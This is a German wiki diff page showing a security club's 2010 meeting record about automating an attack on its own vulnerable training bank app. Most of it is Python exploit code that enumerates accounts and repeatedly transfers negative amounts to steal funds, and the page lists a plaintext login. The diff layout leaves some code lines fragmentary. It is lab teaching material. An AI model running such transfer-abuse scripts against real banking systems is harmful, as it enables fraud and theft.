Bearbeiten von „CInsects/Protokolle/CInsects:Treffen-2010-11-16“
Zur Navigation springen
Zur Suche springen
Warnung: Du bist nicht angemeldet. Deine IP-Adresse wird bei Bearbeitungen öffentlich sichtbar. Melde dich an oder erstelle ein Benutzerkonto, damit Bearbeitungen deinem Benutzernamen zugeordnet werden.
Die Bearbeitung kann rückgängig gemacht werden. Bitte prüfe den Vergleich unten, um sicherzustellen, dass du dies tun möchtest, und veröffentliche dann unten deine Änderungen, um die Bearbeitung rückgängig zu machen.
Aktuelle Version | Dein Text | ||
Zeile 1: | Zeile 1: | ||
Diese Seite ist eine Unterseite von [[CInsects]]. | Diese Seite ist eine Unterseite von [[CInsects]]. | ||
Heute haben wir uns überwiegend mit dem Automatisieren von Angriffen beschäftigt. Es ging darum eine Bankanwendung zu benutzen. Jeder Nutzer bekam einen Nutzernamen und ein Passwort sowie eine TAN-Liste. Mit den Daten konnte er sich einloggen und Geld an andere Konten ueberweisen. Die Konten waren mit Hilfe einer Suchfunktion in der Banksoftware auffindbar. Mit etwas Ausprobieren fand man schnell raus, dass man negative Betraege ueberweisen konnte und so mehr Geld auf dem eigenem Konto lag. Diesen Angriff galt es nun zu automatisieren. Es wurde Python als Programmiersprache empfohlen und gezeigt wie man ein Pythonprogramm schreibt. [http://ipython.scipy.org/ ipython] und die [http://docs.python.org Dokumentation] waren hilfreich um den Angriff zu schreiben. Als Tips wurden die Stichworte [http://docs.python.org/library/urllib2.html urllib2] und [http://docs.python.org/library/cookielib.html#cookielib.CookieJar CookieJar] in den Raum geschmissen. Die Firefox-Plugins [http://livehttpheaders.mozdev.org/ livehttpheaders] und [https://addons.mozilla.org/en-US/firefox/addon/60/ web developer toolbar] erleichterten das Verstaendnis beim Erforschen der Seite. | Heute haben wir uns überwiegend mit dem Automatisieren von Angriffen beschäftigt. Es ging darum eine Bankanwendung zu benutzen. Jeder Nutzer bekam einen Nutzernamen und ein Passwort, sowie eine TAN-Liste. Mit den Daten konnte er sich einloggen und Geld an andere Konten ueberweisen. Die Konten waren mit Hilfe einer Suchfunktion in der Banksoftware auffindbar. Mit etwas Ausprobieren fand man schnell raus, dass man negative Betraege ueberweisen konnte und so mehr Geld auf dem eigenem Konto lag. Diesen Angriff galt es nun zu automatisieren. Es wurde Python als Programmiersprache empfohlen und gezeigt wie man ein Pythonprogramm schreibt. [http://ipython.scipy.org/ ipython] und die [http://docs.python.org Dokumentation] waren hilfreich um den Angriff zu schreiben. Als Tips wurden die Stichworte [http://docs.python.org/library/urllib2.html urllib2] und [http://docs.python.org/library/cookielib.html#cookielib.CookieJar CookieJar] in den Raum geschmissen. Die Firefox-Plugins [http://livehttpheaders.mozdev.org/ livehttpheaders] und [https://addons.mozilla.org/en-US/firefox/addon/60/ web developer toolbar] erleichterten das Verstaendnis beim Erforschen der Seite. | ||
= Exploit = | = Exploit = | ||
== Ein moeglicher Exploit == | |||
Haesslicher Quelltext: | |||
<pre> | <pre> | ||
import urllib2 | import urllib2 | ||
import urllib | import urllib | ||
import cookielib | import cookielib | ||
import re | |||
from itertools import product | |||
import string | import string | ||
cj = cookielib.CookieJar() | cj = cookielib.CookieJar() | ||
Zeile 25: | Zeile 22: | ||
url = 'http://badbank.cinsects.de' | url = 'http://badbank.cinsects.de' | ||
data = urllib.urlencode({ | |||
'user': 'Jan', | |||
'password': 'AZyNEBAeTC' | |||
}) | |||
request = urllib2.urlopen(url + '/index.php', data) | |||
login = request.read() | |||
def | def alpha_beta_liste(): | ||
return [a+b for a, b in product(string.lowercase, string.lowercase)] | |||
def search(params): | |||
print params | |||
def | req = urllib2.urlopen(url + '/index.php?page=search', params) | ||
params | suche = req.read() | ||
result = ktnre.findall(suche) | |||
if result: | |||
name_nummer_list.append(result) | |||
print name_nummer_list | |||
def transfer(kontonummer, betrag, tan_id, tan): | |||
params = urllib.urlencode({'account': kontonummer, 'amount': betrag, 'tan_id': tan_id, 'tan': tan}) | |||
req = urllib2.urlopen(url + '/index.php?page=transfer', params) | |||
seite = req.read() | |||
if erfolg.findall(seite): | |||
print "Von %s wurden %s Geldeinheiten auf mein Konto ueberwiesen." % (name, -betrag) | |||
else: | |||
print "Es konnte leider kein Geld von %s auf mein Konto ueberwiesen werden." % name | |||
</ | |||
alphabeta = alpha_beta_liste() | |||
ktnre = re.compile('<td>(.*)</td>') | |||
betrag = -10 | |||
tan_id = 500 | |||
tan = 700338 | |||
erfolg = re.compile("<h2>Erfolgreiche Ueberweisung!</h2>") | |||
name_nummer_list = [] | |||
for name in alphabeta: | |||
print name | |||
params = urllib.urlencode({'name': name}) | |||
while True: | |||
try: | |||
search(params) | |||
break | |||
except urllib2.URLError, e: | |||
print "Fehler aufgetreten" + e | |||
while True: | while True: | ||
for elem in name_nummer_list: | |||
name, kontonummer = elem | |||
while True: | |||
try: | |||
transfer(kontonummer, betrag, tan_id, tan) | |||
break | |||
except: | |||
pass | |||
</pre> | </pre> | ||
== | == Schnelles auslesen der Kontonummern ueber gevent == | ||
<pre> | <pre> | ||
from gevent import monkey | from gevent import monkey | ||
monkey.patch_socket() | monkey.patch_socket() | ||
Zeile 113: | Zeile 93: | ||
from itertools import product, chain | from itertools import product, chain | ||
import gevent | import gevent | ||
cj = cookielib.CookieJar() | cj = cookielib.CookieJar() | ||
Zeile 137: | Zeile 113: | ||
'name': searchterm | 'name': searchterm | ||
}) | }) | ||
data = urllib2.urlopen(url + '/index.php?page=search', params).read() | |||
return account_re.findall(data) | return account_re.findall(data) | ||
if __name__ == '__main__': | if __name__ == '__main__': | ||
login('Jan', 'AZyNEBAeTC') | |||
searchterms = [a + b for a, b in product(string.lowercase, string.lowercase)] | |||
jobs = [gevent.spawn(fetch_accounts, searchterm) for searchterm in searchterms] | |||
gevent.joinall(jobs, timeout=120) | |||
# Ergebnisse lesen und Liste flachklopfen | |||
accounts = list(chain(*[job.value for job in jobs])) | |||
print accounts | |||
</pre> | |||
Zeitmessung (<math>26^2 + 1 = 677</math> HTTP-Requests): | |||
<pre> | |||
real 0m19.563s | |||
user 0m1.356s | |||
sys 0m0.240s | |||
</pre> | </pre> | ||
[[Kategorie: CInsects-Protokolle]] | |||
[[Kategorie:CInsects-Protokolle]] |